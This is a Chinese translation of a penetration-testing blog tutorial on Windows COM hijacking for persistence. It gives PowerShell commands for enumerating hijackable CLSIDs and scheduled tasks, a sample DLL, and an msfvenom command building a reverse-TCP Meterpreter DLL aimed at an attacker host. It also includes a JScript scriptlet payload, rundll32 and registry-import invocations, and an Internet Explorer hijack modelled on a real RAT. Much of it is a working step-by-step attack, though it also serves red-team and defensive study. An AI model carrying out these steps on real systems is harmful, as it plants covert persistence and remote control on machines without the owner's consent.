持久性--COM劫持

简述

原文:https://pentestlab.blog/2020/05/20/persistence-com-hijacking/ by Administrator.In Persistence.Leave a Comment 微软在Windows 3.11中引入了组件对象模型(COM),作为一种实现对象的方法,这些对象可以被不同的框架(ActiveX、COM+、DCOM等)和不同的Windows环境中使用,允许互操作性、进程间通信和代码重用。滥用COM对象可以使红队代表受信任的进程执行任意代码。执行COM劫持不需要管理员权限,因为HKCU注册表蜂巢中的类会在HKLM中的类之前执行。唯一的例外是影响到高完整性的进程(提升),这些进程的对象只能从HKLM的位置加载,以防止权限提升。 有多种方法可以执行代码,但是在红色分组方案中,COM已被用于持久性,横向移动和逃避防御的几种情况。 根据恶意代码执行的方式,在COM劫持过程中会使用各种注册表子项。 这些是:

  • InprocServer/InprocServer32
  • LocalServer/LocalServer32
  • TreatAs
  • ProgID 上面的子项位于以下注册表配置单元中:
  • HKEY_CURRENT_USER\Software\Classes\CLSID
  • HKEY_LOCAL_MACHINE\Software\Classes\CLSID

    发现COM keys–劫持

    识别可能被用来进行COM劫持的COM密钥是很琐碎的,需要使用Process Monitor来发现缺少CLSID的COM服务器,并且不需要提升权限(HKCU)。Process Monitor可以配置以下过滤器:

  • Operation is RegOpenKey
  • Result is NAME NOT FOUND
  • Path ends with InprocServer32
  • Exclude if path starts with HKLM image.png 打开文件并执行任务(例如,标准用户)将生成带有COM keys的列表,可以将该列表进行劫持,以便将任意库加载到受信任的进程。 image.png 结果可以直接使用或以CSV和XML等各种格式导出。 image.png David Tulis开发的一个名为acCOMplice的PowerShell脚本包含一个功能,它可以将进程监控结果以CSV格式提取可能被劫持的密钥。
    Extract-HijackableKeysFromProcmonCSV -CSVfile .\\pentestlab.CSV

    image.png 该工具还有一个功能,可以直接检索系统中存在的缺失库及其CLSID。

    Find-MissingLibraries

    image.png 另一种方法是执行以下PowerShell片段,这已由bohops在其有关Abusing the COM Registry Structure.的文章中进行了演示。 这可以用来枚举可能被劫持的“ LocalServer32”类:

    $inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null }
    $inproc | ForEach {$_.LocalServer32} > values.txt
    $paths = gc .\values.txt
    foreach ($p in $paths){$p;cmd /c dir $p > $null}

    image.png 同样,以下PowerShell代码可以枚举InprocServer32类:

    $inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
    $paths = $inproc | ForEach {$_.InprocServer32}
    foreach ($p in $paths){$p;cmd /c dir $p > $nul

    image.png 执行该代码段将产生一个COM库列表,可以对其进行调查以获取COM劫持机会。 image.png 发现COM keys-计划任务 Matt NelsonMatthew Graeber开发了一个PowerShell脚本(Get-ScheduledTaskComHandler),可以检查主机上所有在用户登录时执行的、容易被COM劫持的计划任务。

    Import-Module .\Get-ScheduledTaskComHandler.ps1
    Get-ScheduledTaskComHandler

    image.png 参数 "PersistenceLocations "将检索容易被COM劫持的调度任务,这些任务可以用于持久化,而且它们不需要提升权限。CLSID和相关的DLL也会显示在输出中。

    Get-ScheduledTaskComHandler -PersistenceLocations

    image.png 任务 "CacheTask "调用时使用 "wininet.dll",其CLSID如下:{0358B920-0AC7-461F-98F4-58E32CD89148} image.png CLSID和相关的DLL也可以从任务的配置文件中获得。该文件存储在以下位置:

    C:\\Windows\\System32\\Tasks\\Microsoft\\Windows\\Wininet\\CacheTask

    另外,从PowerShell控制台调用 "schtasks "实用程序,使用以下参数也可以检索文件的内容。

    schtasks /query /XML /TN` `"\Microsoft\Windows\Wininet\CacheTask"

    image.png 查看任务调度器将验证任务触发器是否要在任何用户登录期间启动。劫持CLSID将在系统上建立一个持久性条件。 插入 image.png

    InprocServer32

    "InprocServer32"(In-ProcServer32)注册表键表示COM库在磁盘上的位置,并定义了线程模型。下图展示了 "InprocServer32 "中通常存在的注册表键。 image.png 在HKCU中重新创建上面发现的 "缓存任务 "的注册表键结构,并指向一个任意的DLL而不是 "wininet.dll",将执行代码,因为位于HKCU中的DLL将在HKLM之前被加载。

    HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Classes\\CLSID\\{0358b920-0ac7-461f-98f4-58e32cd89148}\\InProcServer32

    image.png 下面的DLL文件将创建一个消息框,当 "CacheTask "进程启动时,该消息框将展示一条消息,以表明代码已被执行。

    
    #include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(0, L"Pentestlab COM Hijacking", 0, 0); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }

![image.png](/img/sin/M00/00/60/wKg0C2BFzNeARmCWAACNhwIdwzg017.png)
需要将DLL放入磁盘,并且子项“ InprocServer32”需要指向DLL的位置。
![image.png](/img/sin/M00/00/60/wKg0C2BFzPqAbEUbAAC_ObfRBwk853.png)
由于 "CacheTask "默认在用户登录时启动,因此任何用户的代码将在不同的登录中永久执行(持久性)。
![image.png](/img/sin/M00/00/60/wKg0C2BFzQuAB1LnAADlZs6rWNU175.png)
通过执行以下命令,也可以用Metasploit工具 "msfvenom "生成恶意DLL:
```language
msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=10.0.0.1 LPORT=5555 -f dll > pentestlab.dll

image.png 在被劫持发生的同一注册表路径上,用Metasploit生成的DLL替换之前的DLL。 image.png 代码将被执行,并在每次用户登录目标系统时建立一个Meterpreter会话。 image.png 也可以执行无文件的有效payloads,比如脚本小程序,而不是DLL文件。

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Pentest.Lab"
    progid="Pentest.Lab"
    version="1"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
    remotable="true"
    >
</registration>

<script language="JScript">
<![CDATA[

        var r = new ActiveXObject("WScript.Shell").Run("pentestlab.exe");


]]>
</script>

</scriptlet>

"ScriptletURL "注册表键定义了任意.sct文件的远程位置,当COM类被调用时,该文件将被获取并执行。 image.png 执行以下命令将调用COM类,并直接执行有效payload。

rundll32.exe -sta {AAAA1111-0000-0000-0000-0000FEEDACDC}

image.png image.png

LocalServer32

LocalServer32注册表项指定了外部COM对象在系统中的位置。这些通常是具有可执行文件形式的应用程序。下面的COM类ID已经在前面的可劫持键枚举过程中被检索到,可以用来执行一个任意的可执行文件。

HKEY\_CLASSES\_ROOT\\CLSID\\{45EAE363-122A-445A-97B6-3DE890E786F8}\\LocalServer32

image.png 用任意可执行文件在磁盘上的位置替换应用程序的默认值,将实现劫持。 image.png 还需要通过执行以下PowerShell命令来激活ClassID,否则COM对象将被禁用。

\[activator\]::CreateInstance(\[type\]::GetTypeFromCLSID("45EAE363-122A-445A-97B6-3DE890E786F8"))

image.png 当COM对象被调用时,任意的可执行程序将运行,并与命令和控制系统建立会话。 image.png

TreatAs/ProgID

“ TreatAs”是一个注册表项,它允许另一个CLSID模拟一个CLSID。 这可以用于将一个COM对象重定向到另一个COM对象。 最初由Casey Smith和Matt Nelson在2017年的WWindows Operating System Archaeology i提出。滥用“ TreatAs”涉及以下两个步骤:

  1. 在HKCU注册表蜂巢中创建一个恶意的CLSID,并选择一个目标COM服务器。
  2. 通过添加指向恶意CLSID的 "TreatAs "子键来劫持合法CLSID。 "ProgID "是COM对象的友好名称,它不是唯一的。以下注册表键将ProgID解析为CLSID。
  • HKCU\Software\Classes
  • HKLM\Software\Classes 这意味着,当应用程序(客户端)激活COM对象(类)时,操作系统将通过首先读取以下注册表位置来解析关联的“ ProgID”:
  • HKCU\Software\Classes\ProgID Casey Smith和Matt Nelson发布了一个概念证明,作为他们演讲的一部分,以证明一个类也可以通过它的 "ProgID "或 "TreatAs "子键进行调用,以执行回避。以下文件可以作为一个例子。 image.png 该文件将创建用于劫持有效CLSID的所需注册表键值。执行下面的命令将把该文件导入注册表。
    reg import TreatAsPersistence.reg

    image.png 带有“ -sta”(单线程单元)开关的“ rundll32”实用程序可用于调用恶意的“ TreatAs” CLSID或“ ProID”。

    rundll32 -sta {00000001-0000-0000-0000-0000FEEDACDC}
    rundll32 -sta "pentestlab"

    image.png 在这两种情况下,任意代码都被成功执行,会话被打开。 image.png

    InprocServer32 – Internet Explorer

    Internet Explorer在企业环境中被积极使用,因为它提供了与具有Web界面的内部应用程序的兼容性。G Data SecurityLabs对COMpfun RAT的分析表明,威胁行为者劫持了一个合法的COM对象,以便在Internet Explorer进程被调用时在系统上建立持久性。 这是因为与许多其他Windows应用程序一样,Internet Explorer使用以下文件“ api-ms-win-downlevel-1×64-l1-1-0._dl”或“ api-ms-win-downlevel-1×86-l1” 进程启动时,将显示“ -1-0._dl”。 可以在以下Windows位置找到此文件:

    %APPDATA%\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}

    COM Object hijacking persistencePowerShell脚本可以作为该技术的概念验证。执行该脚本将创建所需的文件夹结构,并将对主机的架构进行检查,以便进行必要的注册表修改。

    `Import-Module` `'.\COM Object hijacking persistence.ps1`

    image.png 当 "iexplore.exe "进程启动时,计算器将启动,这将证明劫持成功。 image.png 用Metasploit实用程序 "msfvenom "生成一个任意的DLL并替换.dl文件以建立一个Meterpreter会话也很简单。 image.png 在注册表中手动创建以下CLSID,并修改该键指向系统中DLL的位置。 image.png 当再次启动Internet Explorer时,DLL文件将在可信进程下加载。 image.png 一个Meterpreter会话将打开,这将证明已经实现了持久性。需要注意的是,直接使用Metasploit生成的DLL文件可能会导致系统不稳定,Internet Explorer可能会作为一个进程运行但无法打开。这是因为CAccPropServiceClass()会被多次调用,因此需要对DLL文件进行一些进一步的优化。 image.png

Tools

参考文献

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐